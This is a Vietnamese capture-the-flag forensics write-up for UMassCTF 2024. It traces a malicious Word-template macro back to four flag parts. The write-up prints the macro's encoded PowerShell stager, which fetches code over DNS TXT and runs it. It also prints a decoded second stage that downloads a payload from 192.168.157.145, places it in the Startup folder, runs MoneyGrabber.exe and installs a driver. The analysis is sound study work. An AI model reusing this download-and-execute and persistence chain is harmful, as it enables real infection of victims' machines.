# UMassCTF 2024
## Forensics
### Meet My Computer Wife Karen

Sau khi tải file của author, giải nén ra sẽ ra hai file như sau

Chúng ta sẽ xử lý file image.ad1 trước. Bỏ vào FTK để mount, ta được các folder sau

Kiểm tra qua các thư mục, mình nhận thấy rằng ở folder Documents có một số file như sau

Dựa vào để bài, có vẻ như có một thứ gì đó cố gắng lấy cắp "Krabby party secret", và mình nhận thấy có một file word có extension là .docm => mình nghĩ rằng đây là một file word malicious chứa macro "official_correspondense.docm"
Nhưng sau khi kiểm tra qua bằng olevba, mình không phát hiện bất cứ tệp macro nào bên trong, dùng microsoft defender để trigged cũng không có. Mình khá clueless và sau khi giải kết thúc, author bảo đây là một lỗi của author liên quan đến việc sao lưu macro T^T
Mình có đọc comment trong discord bảo rằng macro cũng có thể được sao lưu ở /AppData/Roaming/Microsoft/Templates/Normal.dotm
Vì vậy, mình truy cập vào đường dẫn này và phát hiện tệp Normal.dotm có macro


```python=
Function dgfbhsrjtyghsfgbn(betrhyhzdfgbvfadgh() As Byte, tgdrhnatrhathgdf As Long) As Boolean
Dim drtgvhsrtghgfhng As Byte
drtgvhsrtghgfhng = 127
For i = 0 To tgdrhnatrhathgdf - 1
betrhyhzdfgbvfadgh(i) = betrhyhzdfgbvfadgh(i) Xor drtgvhsrtghgfhng
drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) Xor 105)
Next i
drtgvhsrtghgfhng = True
End Function
Function flagpart()
Dim bnirujwtnbiwrbn(12) As Byte
bnirujwtnbiwrbn(0) = 42
bnirujwtnbiwrbn(1) = 160
bnirujwtnbiwrbn(2) = 218
bnirujwtnbiwrbn(3) = 154
bnirujwtnbiwrbn(4) = 244
bnirujwtnbiwrbn(5) = 190
bnirujwtnbiwrbn(6) = 212
bnirujwtnbiwrbn(7) = 137
bnirujwtnbiwrbn(8) = 152
bnirujwtnbiwrbn(9) = 130
bnirujwtnbiwrbn(10) = 186
bnirujwtnbiwrbn(11) = 138
flagpart = dgfbhsrjtyghsfgbn(bnirujwtnbiwrbn(), 12)
End Function
Sub formuoli()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("powershell.exe IEX([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JGI2NCA9ICIiDQoNCmZvciAoJGk9MTskaSAtbGUgNzskaSsrKSB7DQogICAgJHRlbXAgPSAobnNsb29rdXAgLXE9dHh0IC10aW1lb3V0PTMgJGknLmFtZXJpY2FudmVndGFibGVzLmNvbScpWy0xXSAtcmVwbGFjZSAnIicsJycgLXJlcGxhY2UgJ1xzJywnJw0KICAgICRiNjQgKz0gJHRlbXANCn07DQoNCiMgX2QwY01fNTdpTExfDQoNCmlleChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoJGI2NCkpKSk=')))")
End Sub
```
Có thể thấy một hàm tên là flagpart(), mình sử dụng python để convert lại
```python=
def transform_bytes(betrhyhzdfgbvfadgh, tgdrhnatrhathgdf):
# Initializing variable
drtgvhsrtghgfhng = 127
# Iterate over the byte array and apply XOR transformation
for i in range(tgdrhnatrhathgdf):
betrhyhzdfgbvfadgh[i] ^= drtgvhsrtghgfhng
drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) ^ 105)
return betrhyhzdfgbvfadgh
bnirujwtnbiwrbn = [42, 160, 218, 154, 244, 190, 212, 137, 152, 130, 186, 138]
decoded_bytes = transform_bytes(bnirujwtnbiwrbn.copy(), 12)
decoded_string = ''.join(chr(x) for x in decoded_bytes)
print("Decoded string:", decoded_string)
```
Và ta có part 1 của flag

:::success
Part1: UMASS{wH7_1s
:::
Tiếp tục xử lý ở phần macro, ta thấy hàm formuoli() đang xử lý một đoạn code powershell. Nó đang convert một đoạn base64, vì vậy mình decode đoạn base64 đó

Ta được part 2 của flag
:::success
Part 2: _d0cM_57iLL_
:::
Nhìn qua thì đoạn powershell script này đang thực hiện việc tìm kiếm và convert nội dung của request dns chứa file txt. Vì vậy mình mở wireshark để bắt đầu xử lý file pcap kia
Filter request dns có chứa file txt chúng ta đã tìm ra đoạn text bị base64 encoded

Copy và decode, sau đó ghép lại với nhau, ta được nội dung như sau
```
$downloadURL = "192.168.157.145:8080/money.png"
$content = Invoke-WebRequest $downloadURL
$re = New-Object System.Text.RegularExpressions.Regex("c4fc34f45386d4c98e26")
$stuff = [regex]::Split($content, $re)[1]
$zip = [System.Convert]::FromBase64String($stuff)
Set-Content "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -Value $zip -Encoding Byte
Expand-Archive -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -DestinationPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\MoneyGrabber.exe" -NoNewWindow
pnputil.exe /add-driver "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.inf" /install
sc.exe start myDriver
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.*"
# Write-Output "4_tH1nG_"
```
Ở cuối, ta thấy được flag thứ 3
:::success
Part 3: 4_tH1nG_
:::
Quay trở lại đoạn powershell script, ta thấy rằng nó đang thực hiện việc invoked web url để download một bức ảnh. Sau đó sử dụng một thuật toán để giải mã bức ảnh thành một file zip và thực thi cùng với thực hiện persistence trên máy của victim
Trở lại wireshark, export object với đuôi .png, ta thấy được bức ảnh

Viết một script python dựa trên thuật toán bên trên, mình decode được ra file zip
```
import re
import base64
pattern = "c4fc34f45386d4c98e26"
content = "examplecontentbeforec4fc34f45386d4c98e26examplecontentafter"
split_result = re.split(pattern, content)
if len(split_result) > 1:
stuff = split_result[1]
else:
raise ValueError("Pattern not found in content")
zip_bytes = base64.b64decode(stuff)
print("Extracted content (binary data):", zip_bytes)
```
Mở file zip lên và ta thấy file flag4.txt

:::success
Part 4: 1n_th3_y34r_2024??}
:::